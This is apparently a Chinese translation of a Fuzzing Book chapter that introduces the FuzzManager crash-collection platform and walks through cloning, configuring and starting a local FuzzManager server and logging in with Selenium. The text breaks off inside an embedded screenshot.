+<svg height="188pt" viewBox="0.00 0.00 602.49 188.00" width="602pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 184)"><title>%3</title> <g class="node" id="node1"><title>Crash Database</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="297.2463" y="-14.3">Crash Database</text></g> <g class="node" id="node2"><title>Fuzzer 1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="42.2463" y="-158.3">Fuzzer 1</text></g> <g class="node" id="node3"><title>Crash Server</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="297.2463" y="-86.3">Crash Server</text></g> <g class="edge" id="edge1"><title>Fuzzer 1->Crash Server</title></g> <g class="edge" id="edge7"><title>Crash Server->Crash Database</title></g> <g class="node" id="node4"><title>Fuzzer 2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="144.2463" y="-158.3">Fuzzer 2</text></g> <g class="edge" id="edge2"><title>Fuzzer 2->Crash Server</title></g> <g class="node" id="node5"><title>Fuzzer 3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="246.2463" y="-158.3">Fuzzer 3</text></g> <g class="edge" id="edge3"><title>Fuzzer 3->Crash Server</title></g> <g class="node" id="node6"><title>Fuzzer 4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="348.2463" y="-158.3">Fuzzer 4</text></g> <g class="edge" id="edge4"><title>Fuzzer 4->Crash Server</title></g> <g class="node" id="node7"><title>Fuzzer 5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="450.2463" y="-158.3">Fuzzer 5</text></g> <g class="edge" id="edge5"><title>Fuzzer 5->Crash Server</title></g> <g class="node" id="node8"><title>Fuzzer 6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="552.2463" y="-158.3">Fuzzer 6</text></g> <g class="edge" id="edge6"><title>Fuzzer 6->Crash Server</title></g></g></svg>
+
+可以通过*查询生成的崩溃数据库，以找出发生了哪些故障，通常使用Web界面。 也可以将*与其他过程活动集成为*。 最重要的是，崩溃数据库中的条目可以链接到*错误数据库*，反之亦然，这样就可以将错误（=崩溃）分配给各个开发人员。*
+
+在这样的基础架构中，收集崩溃不仅仅限于模糊测试。 野外发生的崩溃和故障也可以自动报告给崩溃服务器。 在工业中，崩溃数据库从生产运行中收集成千上万次崩溃的情况并不少见-尤其是每天有成千上万的人使用该软件时。
+
+这样的数据库中存储了什么信息？
+
+*   最重要的是产品的*标识符* –即产品名称，版本信息以及平台和操作系统。 没有这些信息，开发人员将无法判断该错误是否仍在最新版本中，或者是否已得到修复。
+
+*   对于调试而言，对开发人员来说最有用的信息是重现的*步骤-在一个模糊的情况下，这是有问题的程序的*输入*。 （在生产方案中，出于明显的隐私原因，不会收集用户的输入。）*
+
+*   第二个最有用的调试方法是*堆栈跟踪*，以便开发人员可以检查发生故障时哪个内部功能处于活动状态。 *覆盖范围*映射也很方便，因为开发人员可以查询执行了哪些功能，哪些没有执行。
+
+*   如果收集到一般故障，开发人员还需要知道预期的行为； 对于崩溃，这很简单，因为用户不希望其软件崩溃。
+
+如果相应地设置了模糊器（或相关程序），则可以自动收集所有这些信息。
+
+在本章中，我们将探索一个使所有这些步骤自动化的平台。 *FuzzManager* 平台允许
+
+1.  *从失败的运行中收集*失败数据，
+2.  *将此数据输入*到集中式服务器中，然后
+3.  *通过Web界面查询*服务器。
+
+在本章中，我们将展示如何使用FuzzManager进行基本步骤，包括崩溃提交和分类以及覆盖率测量任务。
+
+## 运行崩溃服务器
+
+[FuzzManager](https://github.com/MozillaSecurity/FuzzManager) 是用于管理大规模模糊过程的工具链。 从某种意义上讲，它是*模块化*，您可以使用所需的那些部件； 从某种意义上讲它不是*通用*，因为它没有施加特定的过程。 它由负责收集崩溃数据的*服务器*以及各种收集崩溃数据以将其发送到服务器的*收集器实用程序*组成。
+
+### 设置服务器
+
+要运行此笔记本中的示例，我们需要运行*崩溃服务器*-即 *FuzzManager* 服务器。 你可以
+
+1.  运行您自己的服务器。 为此，您需要按照 [FuzzManager](https://github.com/MozillaSecurity/FuzzManager) 页面上“服务器设置”下列出的安装步骤进行操作。 `FuzzManager`文件夹应在与此笔记本电脑相同的文件夹中创建。
+
+2.  让笔记本启动（和停止）服务器。 下列命令后面的命令会自动执行此操作。 但是，它们仅用于此笔记本。 如果要尝试使用自己的服务器，请如上所述手动运行它。
+
+我们首先从存储库中获取新鲜的服务器代码。
+
+```py
+import [os](https://docs.python.org/3/library/os.html)
+import [shutil](https://docs.python.org/3/library/shutil.html)
+
+```
+
+```py
+if os.path.exists('FuzzManager'):
+    shutil.rmtree('FuzzManager')
+
+```
+
+```py
+!git clone https://github.com/MozillaSecurity/FuzzManager
+
+```
+
+```py
+Cloning into 'FuzzManager'...
+remote: Enumerating objects: 395, done.
+remote: Counting objects: 100% (395/395), done.
+remote: Compressing objects: 100% (252/252), done.
+remote: Total 9537 (delta 223), reused 282 (delta 135), pack-reused 9142
+Receiving objects: 100% (9537/9537), 4.70 MiB | 6.97 MiB/s, done.
+Resolving deltas: 100% (6297/6297), done.
+
+```
+
+```py
+!pip install -r FuzzManager/server/requirements.txt > /dev/null
+
+```
+
+```py
+You are using pip version 19.0.2, however version 19.1.1 is available.
+You should consider upgrading via the 'pip install --upgrade pip' command.
+
+```
+
+```py
+!cd FuzzManager/server; python ./manage.py migrate > /dev/null
+
+```
+
+我们使用方便的技巧创建了一个名为`demo`的用户，其密码为`demo`。
+
+```py
+!(cd FuzzManager/server; echo "from django.contrib.auth import get_user_model; User = get_user_model(); User.objects.create_superuser('demo', 'demo@fuzzingbook.org', 'demo')" | python manage.py shell)
+
+```
+
+我们为此用户创建一个令牌。 稍后，自动命令将使用此令牌进行身份验证。
+
+```py
+import [subprocess](https://docs.python.org/3/library/subprocess.html)
+import [sys](https://docs.python.org/3/library/sys.html)
+
+```
+
+```py
+result = subprocess.run(['python', 'FuzzManager/server/manage.py', 'get_auth_token', 'demo'], 
+                        stdout=subprocess.PIPE,
+                        stderr=subprocess.PIPE)
+err = result.stderr.decode('ascii')
+if len(err) > 0:
+    print(err, file=sys.stderr, end="")
+
+```
+
+```py
+token = result.stdout
+token = token.decode('ascii').strip()
+token
+
+```
+
+```py
+'32b747be30a59160c9dd57c338b12c1d63fd2fe5'
+
+```
+
+```py
+assert len(token) > 10, "Invalid token " + repr(token)
+
+```
+
+令牌存储在主文件夹中的`~/.fuzzmanagerconf`中。
+
+```py
+home = os.path.expanduser("~")
+conf = os.path.join(home, ".fuzzmanagerconf")
+conf
+
+```
+
+```py
+'/Users/zeller/.fuzzmanagerconf'
+
+```
+
+```py
+fuzzmanagerconf = """
+[Main]
+sigdir = /home/example/fuzzingbok
+serverhost = 127.0.0.1
+serverport = 8000
+serverproto = http
+serverauthtoken = %s
+tool = fuzzingbook
+""" % token
+
+```
+
+```py
+with open(conf, "w") as file:
+    file.write(fuzzmanagerconf)
+
+```
+
+```py
+from [pygments.lexers.configs](https://docs.python.org/3/library/pygments.lexers.configs.html) import IniLexer
+
+```
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import print_file
+
+```
+
+```py
+print_file(conf, lexer=IniLexer())
+
+```
+
+```py
+[Main]
+sigdir = /home/example/fuzzingbok
+serverhost = 127.0.0.1
+serverport = 8000
+serverproto = http
+serverauthtoken = 32b747be30a59160c9dd57c338b12c1d63fd2fe5
+tool = fuzzingbook
+
+```
+
+### 启动服务器
+
+设置好服务器后，就可以启动它了。 在命令行上，我们使用
+
+```py
+$ python FuzzManager/server/manage.py runserver
+
+```
+
+在我们的笔记本中，我们可以使用为[模糊Web服务器](WebFuzzer.html)引入的`Process`框架，以编程方式进行此操作。 我们让FuzzManager服务器在其自己的进程中运行，该进程在后台启动。
+
+```py
+from [multiprocessing](https://docs.python.org/3/library/multiprocessing.html) import Process
+
+```
+
+```py
+import [subprocess](https://docs.python.org/3/library/subprocess.html)
+
+```
+
+```py
+def run_fuzzmanager():
+    def run_fuzzmanager_forever():
+        proc = subprocess.Popen(['python', 'FuzzManager/server/manage.py', 'runserver'],
+                                  stdout=subprocess.PIPE,
+                                  stdin=subprocess.PIPE,
+                                  stderr=subprocess.STDOUT,
+                                    universal_newlines=True)
+        while True:
+            line = proc.stdout.readline()
+            print(line, end='')
+
+    fuzzmanager_process = Process(target=run_fuzzmanager_forever)
+    fuzzmanager_process.start()
+
+    return fuzzmanager_process
+
+```
+
+在服务器运行时，您将能够在下面看到其输出。
+
+```py
+fuzzmanager_process = run_fuzzmanager()
+
+```
+
+```py
+import [time](https://docs.python.org/3/library/time.html)
+
+```
+
+```py
+time.sleep(2)
+
+```
+
+### 登录
+
+*现在可以使用此URL在本地主机上访问FuzzManager* 。 要登录，请使用用户名`demo`和密码`demo`。 在本笔记本中，我们使用GUI模糊测试的[一章中介绍的 *Selenium* 接口以编程方式进行此操作。](GUIFuzzer.html)
+
+```py
+fuzzmanager_url = "http://127.0.0.1:8000"
+
+```
+
+```py
+from [IPython.display](https://ipython.readthedocs.io/en/stable/api/generated/IPython.display.html) import display, Image
+
+```
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import HTML, rich_output
+
+```
+
+```py
+from [GUIFuzzer](GUIFuzzer.html) import start_webdriver  # minor dependency
+
+```
+
+对于交互式会话，将`headless`设置为`False`； 那么您可以在与此笔记本进行交互的同时与`FuzzManager`进行交互。
+
+```py
+gui_driver = start_webdriver(headless=True, zoom=1.2)
+
+```
+
+```py
+gui_driver.set_window_size(1400, 600)
+
+```
+
+```py
+gui_driver.get(fuzzmanager_url)
+
+```
+
+这是`FuzzManager`的开始屏幕：
+
+```py
+Image(gui_driver.get_screenshot_as_png())
+
+```
+
+![](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABpAAAAJ3CAYAAACTLRLoAAAgAElEQVR4nOzd13NbWZ4n+Pkf9nUfdmMeJjY65qGje2M7ZncrpntnZqurMlOpVMqlpEwpU96lvPeiKENS9J4wBAgStKD33oEkSIAAQZCgA+idDEVZChK/+wDhCoBIiRcEU1Lu90R8ororisC5BxfnKn5fnHP+w6NHj0BERERERERERERERETk8h8+dweIiIiIiIiIiIiIiIjoy8IAiYiIiIiIiIiIiIiIiDwwQCIiIiIiIiIiIiIiIiIPDJCIiIiIiIiIiIiIiIjIAwMkIiIiIiIiIiIiIiIi8sAAiYiIiIiIiIiIiIiIiDwwQCIiIiIiIiIiIiIiIiIPDJCIiIiIiIiIiIiIiIjIAwMkIiIiIiIiIiIiIiIi8sAAiYiIiIiIiIiIiIiIiDwwQCIiIiIiIiIiIiIiIiIPDJCIiIiIiIiIiIiIiIjIAwMkIiIiIiIiIiIiIiIi8sAAiYiIiIiIiIiIiIiIiDwwQCIiIiIiIiIiIiIiIiIPDJCIiIiIiIiIiIiIiIjIAwMkIiIiIiIiIiIiIiIi8sAAiYiIiIiIiIiIiIiIiDwwQCIiIiIiIiIiIiIiIiIPDJCIiIiIiIiIiIiIiIjIAwMkIiIiIiIiIiIiIiIi8sAAiYiIiIiIiIiIiIiIiDwwQCIiIiIiIiIiIiIiIiIPDJCIiIiIiIiIiIiIiIjIAwMkIiIiIiIiIiIiIiIi8sAAiYiIiIiIiIiIiIiIiDwwQCIiIiIiIiIiIiIiIiIPDJCIiIiIiIiIiIiIiIjIAwMkIiIiIiIiIiIiIiIi8sAAiYiIiIiIiIiIiIiIiDwwQCIiIiIiIiIiIiIiIiIPDJCIiIiIiIiIiIiIiIjIAwMkIiIiIiIiIiIiIiIi8sAAiYiIiIiIiIiIiIiIiDwwQCIiIiIiIiIiIiIiIiIPDJCIiIiIiIiIiIiIiIjIAwMkIiIiIiIiIiIiIiIi8sAAiYiIiIiIiIiIiIiIiDwwQCIiIiIiIiIiIiIiIiIPDJCIiIiIiIiIiIiIiIjIAwMkIiIiIiIiIiIiIiIi8sAAiYiIiIiIiIiIiIiIiDwwQCIiIiIiIiIiIiIiIiIPDJCIiIiIiIiIiIiIiIjIAwMkIiIiIiIiIiIiIiIi8sAAiYiIiIiIiIiIiIiIiDwwQCIiIiIiIiIiIiIiIiIPDJCIiIiIiIiIiIiIiIjIAwMkIiIiIiIiIiIiIiIi8sAAiYiIiIiIiIiIiIiIiDwwQCIiIiIiIiIiIiIiIiIPDJCIiIiIiIiIiIiIiIjIAwMkIiIiIiIiIiIiIiIi8sAAiYiIiIiIiIiIiIiIiDwwQCIiIiIiIiIiIiIiIiIPDJCIiIiIiIiIiIiIiIjIAwMkIiIiIiIiIiIiIiIi8sAAiYiIiIiIiIiIiIiIiDwwQCIiIiIiIiIiIiIiIiIPDJCIiIiIiIiIiIiIiIjIAwMkIiIiIiIiIiIiIiIi8sAAiYiIiIiIiIiIiIiIiDwwQCIiIiIiIiIiIiIiIiIPDJCIiIiIiIiIiIiIiIjIAwMkIiIiIiIiIiIiIiIi8sAAiYiIiIiIiIiIiIiIiDwwQCIiIiIiIiIiIiIiIiIPDJCIiIiIiIiIiIiIiIjIAwMkIiIiIiIiIiIiIiIi8sAAiYiIiIiIiIiIiIiIiDwwQCIiIiIiIiIiIiIiIiIPDJCIiIiIiIiIiIiIiIjIAwMkIiIiIiIiIiIiIiIi8sAAiYiIiIiIiOgze/jw4Yp97r4SERER0f8/MEAiIiKiL4KYwtkfwR/9/ZLG72v/PMRe1+fulz/vtdVe09fyXf5S550vsV9fSl++xLH5nH1bzTU8fvwYT548wdOnT/H8+XO8fPkSCwsLcDgceP36NRYWFvDy5Uu8ePECz549w+PHjz/bdX/uOdMf1/219JOIiIjoc2OARERERH8o74LZ8+fPv0jz8/PLFoCePXsm6rXm5ub8VkByf50nT56Ivq5PFbd8ec3PabkiqqsI+7X42GcyPz+/Ju/h7++zv8Z8LYqt3tf+JY6fL/Oh92t8rjHy5xy3XJ98+R48efLkiynee4/vgwcPMDc3hxcvXuDNmzfwpS0uLmJhYQHPnj0TXtOf9+nX8rxe6Vzqz/nUF0+fPsWTJ08++L58CfcnERER0XIYIBEREdEfwrtw9uDBAzx//tynotkf0V68eInZ2VnMzs7iwYMHwv89Nzcn+rWePn0qXLOvxaKlxu/Zs2ei+/Lo0SPh75cyP/9U9Gt+zjY3Nyd8Nu5evXr1ubsmqrnus6UsLCz45T3cP/vVFC2XKoQ/ePAAi4uLq+7j27dvl+yjr8XVpfr59Klv9/j8/Lxfxs+f8+HCwsKazC1i+7JWY+Pepzdv3ooeH4fD4bd++etzfvjwIV6+fOmX74t7W1xcxMuXL/3yPf/antfuzb3Pazmf+qO9fv162fDvj7pHiYiIiD6FARIRERGtqaUKUbOzs5iZmcXDh48+d/1m2Tb35Ammp2c+MDs7K/q1ZmcfYGZm1iMkWGmh6OPj91B0X6anZzAzMyv0x0X47x48EP2an7NNT88u+Tk9fSo+XPuczf1zcTc9PeO3wu3Tp8+WvQ/Ffp/d70VnsPrEL310OBwe96avRdWPfW98DRdfvHjp8/d4LefDubknPo+Xv/qymjnuY+Pjj/vr4cNHq76f/PXce/Hihc/XIaa5gkWx1/y1Pq/dm/v86f18m5mZ/SKDsMXFRbx48cIj6GKYRERERF8KBkhERES0ZpYqBrqK4lNT05iamv7cdZtl28NHjzAxMfmB8YkJ0a81MTmJqalpISRYaVHvk+M3LX78JiYmMDk5JYy/u8nJKUx+wZ/JUm1sbOLDz2h8Ek+ezH/urolqExOTzvH3MjExiXkfV8x4t4WFhY/ehyv9Pi91L/qyGm6p5nA4hPvT17BruQK4MwD2PSBdXFwUAkox3+O1ng/fvHnj0+f6sb6InQcmJnyb41ban+fPfQ9enj17JvRtNeHpap558/PzePtW/Aqq1bTFxUXMzz9d8efxNT+v3ZtrLl3y+TY55bf5dC3a4uKiEAgzSCIiIqIvBQMkIiIiWjNLFaOmpqYxMTGJsbEJjI2Pf+56zbJt9sFDDA+PYmRkTDA8PIrR0VHRr2WzDQtBh3dhfCUBkmv8XIU81/iNjokfv/7+QYyNTWB8fNLD2NgERkfHMTwi/vo+Z7NaBzw+p+HhUQwPj/ptRcwf1Wy2EYyOjmN0dNz53Xj3eYyMjGF+3n9h2PT0jOj78GPf5cnJKYyPT/p8hot3czgcGB0dx/i4swi8mlDkwYMHHgXwiYnJVW/RODf3xCMsERNIrOV8+OzZ8yWDt0+FBcv1ZXxiUtT7D9nsPs1xK7m/JiamVrXdm8PxRriffOnbap53MzOzeP36tc9990dbWFj4ZLC3XHj0tTyv3dvAwKAwjy71jPPnfLpW7dmz1a8WJSIiIvIXBkhERES0JpYKP1zF5tHRcdjtoxgasn3mMs3ybWZmFgODdgwOeeo0dol+rZ7ePtjtox8Uxj9WxFzR+NnsovvS1q6HfXgUdvuoELYMv/v/bfYR9A8Min7Nz9na2/UffE4Dg3afzqr6nK3b0osh27Dzs3nHZh/B4JDdr6up5uaeYGRkbMX34XL34tTUtHAvTk2J39ZxueZwOGCzj2B4eFQIJJYqfn9s3vEOjyYnpzA2NoGRkTE4HI5V9e/Vq1cYGRnD2NiER8DlSxjs7/nQ9Zl86nP91Odpt49iYHBI1HubLT0ec5x3wOZLUO7qjz+2TpuZeYDR0XGfA66VPuvcr2FmZmbV95u/2uvXrz22YV3unLGv9Xnt3to7DLDZRzyecXa7c04dsg1/NatTnz9/vqaBJxEREdFKMUAiIiKiNeH9S2ZXMWpkZOxdUGHDwIC4IuUf2aZnZmHutsLS0y/otvShoUEr+rXM3T3oH7DBZh/xKN5/rCi+XDFveHhUGL/BIZvovlRW18LaN/hB6NI/YIO1bxDWvgHRr/k5W2OjFt2WPo/PyNxt/eoCpJZWPXqtA7D2DaKvfwh9/UPotQ7A0tPv14Lnq4UFDNmGhYBmpWHmx77Lj/242svhcMDaN4jBIbsQSLiHSCsNutxXT7gK4P7annFsbAJ2+4cB16f6ttbz4atXC5/8XJdbZeLdF7HzgKnL/MEct1Tx+1PPCve5ztWfly9frmpcAOf5X770bSXPuaW2fJuZmfXbqjx/tdevHUtuwehuuc/gS39eu7eq6jpY+wbfPSPf/6jANad+LQESADx+PPfBd5lBEhEREf3RGCARERGR3y1VyHUVo4Zsw7D2DcLcbf2iC1LTM7No13dB39kNg9ECg9GCDoMZVVW1ol+rq9sCc7cVff1DGLINf1DE9C4ILTd+w+9+Qe0aP18CpLzCEnSZrei29KGndwA9vc6QwtxthcncC2tfv+jX/Jytpq5B+Jz0nd3oMJih6zB9dQFSVW0TjF096DJbBSZzLwxGi98Lnjb7qBDQuMKG5YrprnvRO2xwvxdfv/bfKguHw4EusxU9vQMYGPTso3cgstS8414EF8Kj4VEMDNrxZJXb17nao0ePhb6Njo5/sm9/5Hz44MHDj47Zp/rS1z8Ec7dV9DxgNHah29KHvv6hJYOaT620XO7+stlHVj0mgPNsmf4B24rmX1+ec+79n56e/cPPO1ppW1hYWHIV1nKB4tfyvHZvhUXF6DJbPX4A0m3pQ5fZCmNXz1cVIC0uLgpBuK9n1xERERGtFgMkIiIi8rvlCrk2+wisfYPoMlvRYTB/0dulTc/MoqG5HU1aPZpbDGhuMaBR24GS0grRr9VldoYbXWarUGB1X1mxXIHXffxcvwR3H7/BQZvovmRkaaDrMEHf2Q1jVw+MXT3oNDnDsVad8asLkKpqaoXPqUmrR6O2A/VNuq8uQMorLEdLWyfa2k3QdTi16oxobjH4veA5O/sQPb0DGByyY3h4dNliuve96F1Y7rUOYHDIPwV+V3M4HGhrN8HY1SOESMv10XvOcQURrhUUrvCof8CGnt7+VZ2j491HS0//BwGXq7i71JZxf9R8+PbtW2H7ruXCweX60tc/hC6zFfrObtHzQKfRGeK6gvKPzXFLPSuWCo96rQOYnV399nWuNjE5DWvfoBAiuYIUX1YhLbfl29jYhF8D1bVoc3NPPjhjzMUVViz1vPmSn9fuTZ2Rg7Z25zOu02RBp8n5A5B2fRe0rf6fT9e6PX/+4qPbL37uf+8RERHRnx8DJCIiIvI776Kga8un/gEbzN3OYlRzi+GLLkhNz8yirLIJFdXNqKzRoqK6GWWVjSgqKhX9Wl3mbjS3GIQCa/+ATSjwLle4X8n4+RIgqdIyUd+kQ3OLHq06I9ra3wcVdY06WK1fV4BUWVWLssomlFc5P6vyqiaUVjR+dQGSOjMPNfWtqG/SoVHbgYbmdtQ2tKGyRuv3gufCwgKMXT3otQ54FNOXCzO9Qxn3wvL0jP/OPwKc4Ux9kw5t7SaYzL3L9nG5kMY9iHCe5WNHt6UPY+OTfu3nkH1ECJHcA67lVnH9kfPhk/mnHuGWd9HZfaWJd1/0nc65Suw8YDB2oblFD31nN7otfR+d49zHxf3+WipY82cY8/z5C3SZrbD2DQoBl/sqrZWu6PhYePT06TO/9Xct2+TktBAwus6rmpqaFq7DFbx+Lc9r96ZUqd894wxoaetEq84IbavzByDVdS1fXYAEAOMTU35bOUdEREQkFgMkIiIi8jvvoqBrxUJP7wA6TRY0t+hRVav9ogtS0zOzyM6rQF5RNfKLa5BfXANNQRUKfQyQqutaoG01oNNkQU/v+6K4a4XAckV77/EzGN+Pny8BUkpqOsoqG1FT34qG5nZhxU5VrRalFY2wWHpFv+bnbGVllcjJr0RuYRXyiqqRW1iFrNxyPHzov5ULa90WFxchV2ahuLweZZWNKK9yBmIl5Q3IL65Zk4Jnd8+AUEy3D3uuVnG/F71XH7mHDe36Lrx6teDXfjkcDpRVNqGhuR26DhO6zO8D1+VCmk99ZzpNFjx7/sKv/Xz0aO6jIZz3Kq4/ej4cGR1fcoXZ7OzsR/uibTWguq7FhwDJtOQc5wpplguQPgjWhkeFlVD9g3a/jYermd+dkfape+pjz7blVnHNzD7wSx/n5+dhtw+jt7cPJpMZunY99AYjenv7YLePYHpm9VvkLSy89jhjbHJyChMTk8IKsMEh+wfPmy/5ee3e5MpUlFU2orquBXWNOtQ36VBT34qK6mYUldWJnk/fvn2LyckpUaampvHo0WM8e/YcDsfqQ9DHj+eErSHdVyIxRCIiIqI/AgMkIiIi8jv3gql70bnLbEVbuwm1DW0oKqvzqSBlt4/A2te/5lrb2qFUFyAtqxjp2aVQZ5dAlVGEgsIS0X3uMnejuLwedY06j6K4q7i7VNF5JePnS4CUnKJGXlE1SisahdVV5VVNKC6vh6agCprcgj9kfIdHRkX33bvNzj5AkiQZKemFSMsqhjq7BKmZxVCk5aO+oekPuY5ZPxSNBwaHEC9NRVZuOXILq5BfXIO8ompk51VAnV2yJgHSxOQ02vXOc2tcq2i8VyG5r1aZnJwSwgZLTz8MRguMJv+HjQ6HA7mFVaiobkZzizOM6LUOeKwY8Q4jlgsirH2DMJl7YTJb/d7PxcVFtOvNwraU7qttPraKy9/z4XJtYeG1EG65byXnvlXZUn2pa9ShuLzepwBJ7By3VLA2OORcMabv7MbDR4/9Nh6uNjE5A4PRAktPPwaH7B7B36cCpI+FRyOj46sKdd6+fYvx8Ql06A2oq29EWXkVikrKUVBUirzCEuQXlqCopBxl5VWoqq5DS2sbJianVvWeE5PTsA87Q6SxsQmMjU1gZGTMI8T7Wp7X7iKi45BXVI2S8gYhkC+taERBSS0yNWWi51OHw4HKqlrRauoaUF/fhMbmFphMZszNPRE9fq726tWCsHJuuRWjn/vffURERPTnxQCJiIiI/Mp71cLY2ARs9hH0Wl2/tjegrLIR2XkVPhWkGpu0KC4tX3OZWRokyLMgVWogS8mFVKlBojwb+T4GSDn5lSivavIoirtWfngXnT82fk1avTB+vgRIMmUq0rNLkVtYhaKyOhSX16OwtA6agiqos0sgkylRXFKxpmNbVlGFZ8+ei+67e5t/+hTV1XWIiIp59zk5PyOpMhfxsiyoM3PW/B5pbNbizZvVrQSYmJhEcVk5wqPlUKoLoM4uQaamHOnZpVBlFEGq1KxJgLSwsIDmFr1HQOO93dhSq49cheWWtk6MjEz4vV8OhwPq7BIUltahtqENug4TzN1WDAy+L/Yvt+WjexDh2rquXd+Ficlpv/cTAAZtI+gwmD3CiE+t4vL3fPixNjv7yBluua0wm56e+WA7Qve+lFc1ITuvwqcA6f0cp4exq8djddtSwZr3uLhCP2NXD1p1Rr+dWeXeFl6/RktbJ0zmXo+xWckqpKW2rXOdszW3iu/oixcvYOg0obyyBnkFxUjP0kCRkgZ5cgqkciUkMgWkcgXkySlQpKQhVZ0FTV4RKqpq0abr8HnbvKdPnzlXYg2PYvgdu91z9ZH78+ZLfl67Cw6NQkZOGTQFVSgoqUVhaR1yC6uQqSmHIi3fpwBJlZYhmjojG5nZucjJLUBBUSlq6xph6en1+b629g0J96x7mC5m+0UiIiIiXzBAIiIiIr9yXw3gKrC5flXeru9CXaMOhaV1SM0s9qkgVVBYCrlCteaSJMmIiEtFTFI64qSZiElKR3isCvn5xaL73GXuRlpWMYrK6lDfpBOKzstt8eQ+fu6/ym/Xd6G2oQ0FJbVIzSz2KUCSyFWQq/KQnl0qbP2Wk1+JjJwyJKfmIzYuCfLktR3biYnVnUfz6tUCGpu0SFVn4X5YJMJjVYhJSkesJAPRiWqEx6qQJJWv6TWoM7LwfJXboj1+/BgVlTVIVqYiKDwJifJsyFV5UKoLkJyaD4lCg+hE9Zqd2WEwWjwCGu9VSO6rj0ZHx4XVRx0GMxqa2/H8hX+3hQOcxVpZSi6y8ypQUd0MbavhfbHf/n41y0qDiOYWvV/P0XFvT58+W7Z/3oHwWs2HH2uLi4voH7B5nNPk2mLLe8WPd198CZDEzHHu4+Ie+pm7rdB1mDA4NOLXsXBv3e/u4W5L37LB33LPNffvhOteGxi0+7wS6OHDR2hoaEZefjGUqemQyBQrpkrLgCa/GE1NWrx8+dKn9+8fsKF/wIYh2zBs9hEM2YaFkFjX4Vx99DU8r93dC4mEUl2AjJwyZOdVIDuvAhk5ZVCqC5Agz/IpQBLzuSxFKlciPTMHRSVlGB/3LXjv67ctuf3ix+5bIiIiIn9ggERERER+5V0YHH5XYOsyW9GqM6KyRouc/ErIUnJ9Kkhp8gtXXcxZicQkGYIjkxEeq0J4rAqh0Sm4Fy73OUCSq/KgKahCVa0Wbe2eqyqWC5C8x6+lrVMYP6lS41OAlCRNQYI8SyiwZWrKkJFTBlVGkTOwiE1Y03G19Kxu27M3b96gQ9+JjCwNJDIFgkLCEBSRjLAY5+cUFqNCcGQyEpPka3odq9267vnzF6ipa0DKu6JxQHAMohLUSJRnQ6JwrnaLTlQjJFKxZgHS6PiUsCLOe7WIa6sz16qe4eH3W521tHVC29q5Jn1yOByIk2ZCnV2CkvIGNGo7YDC+X7G31HZoywWuug4TunvEBSFim66ja8WB8FrMh59qz5698DhzbXx8EhMTk87ww237uladEVW1WmgKqiBLyfUpQBI7x3msbvMI/Qx4usoVih9rM7MPPxr8ea/m8L7PhKDy3fjNzPg2F8zPP0V1bT2ycnIhebfSSCJTIFEiR2xcIqJi4hAWGY2Q0AiEhkciMjoOsfGJSEiUecxFGdm50Ok68Pr1a9F9mJqehaWnH339QxgYtKN/wIae3gEYu3qgbTWgorr5q3heu7sbHA6pUgNVRhHSs0uRnl2KlPRCSBQaRMSl+hQgxSVKRIlPkiIxSYZEaTKSpMlC32TyFJRXVuPly1eix7J/wA59Z7cw1yx37trn/jcgERER/fkwQCIiIiK/Wqpg2tc/BJO5F80tepRVNiEjpwwJ8iyfClKZ2RpExcSvudDwKNwJlSI4MhkhkQrcC5cjICjR5wApUZ6NTE05yquaoG01eJwR4r0tl/v4ubYN8x6/eFmWTwFSolSJqAQ1pEoNUjOd5zulZTnPDUqQZ+FmwO01G9O6+kbR/fVulp5eaHKdRcmEJCkuXLqOwBAJgiOTcT9KiZBIhfNzCwlbs+tYbaH/9WsHWtp0UGdkQyJTICYuAdcCIxEWo0J0olpY8RYWo8Lt+5I1C5AWFl4L28R5r8Zw3+rMfds1g9GChuZ29A8Or0mfHA4HIuJSoUjLR35xDeoanatZenoHPLbZ8z6nyf18IffVR7MPHokckwVR//vhkYkPwoilzpJaq/lwJW1sfErY+mpkZAxjYxPC1muefWlEpqYcCfIsnwIk5xxXJmqOW2pVVrveLOq9F0QGJ2/fvkWTtuOD4G+51RzeW9eNjzs/x8EhOyw9/XA43oh6fwB49eoVGpu0UGdkCeFCfIIE98MjcedeMAJu3cH1G7dw+eoNXLh4BRcvX8X1G7dwM/A2Au8EIfh+GOITpMLfZufmo6dX/Flfj+fm0GmyoNvSh17rAHp6B2DutkLf2Y0mrR6lFY1fxfPa3Y3AYCQl50CRlg9VRhFUGUWQq/IQK8lAcGSyTwFS4J17IgXh9t0g3A0Kwd2gEIRFRiNR4vxRgzI1HVPTM6LHctA+Imy/+LHtIT/3vwGJiIjoz4cBEhEREfmV93kkroKu6/ye4vJ6pGYWIzpR7VNBSqlKw/Ubt9bcpcvXcPu+BPfC5bgXLkdgiATXbsf5HCDFJKVDnV2C0opGNLcYYOzq8Sg4exdXvQvinSYLGrUdHuPnU4AkUTq3eEvOgVJdgLSsYqRmFiM51RkgHTt+Gtdv+n88lcrUVR34DgD24REUFJdCIlciSZqM23eDcfjoKQQEJeJeuBwhkQoERybjTqgUZ89dXJP7orauflXX8HZxEUaTGVmafGfROFGCmwGBuHIzAiGRCkTEpSIqQY2IuFQERybjxt2ENQuQAKBdb0Zzi/6D1RiTk1OYmpr22OrM3G1FW7sJ1XUtmPfx3JVPNYfDgZBIBaRKDTQFVaiuaxECLvdCv3c4473NXru+C82tBlHnjTgcDnRbekT1d2HhNeqbdNB3di8bci0VcPlrPlxJe/PmDSw9fRgYtHucdzNkG/Y4W62kvAFpWc6++BIgxUoyVjTHuY/JUiH56Ji4LS5ttmE8ffpU1N9Y+4bQ0tb5QcjlvT2iy1LbOfZaBzA27tt2nN2WXmEVZZJUjrCIKNy6fReXLl/DqdPncfTYCRw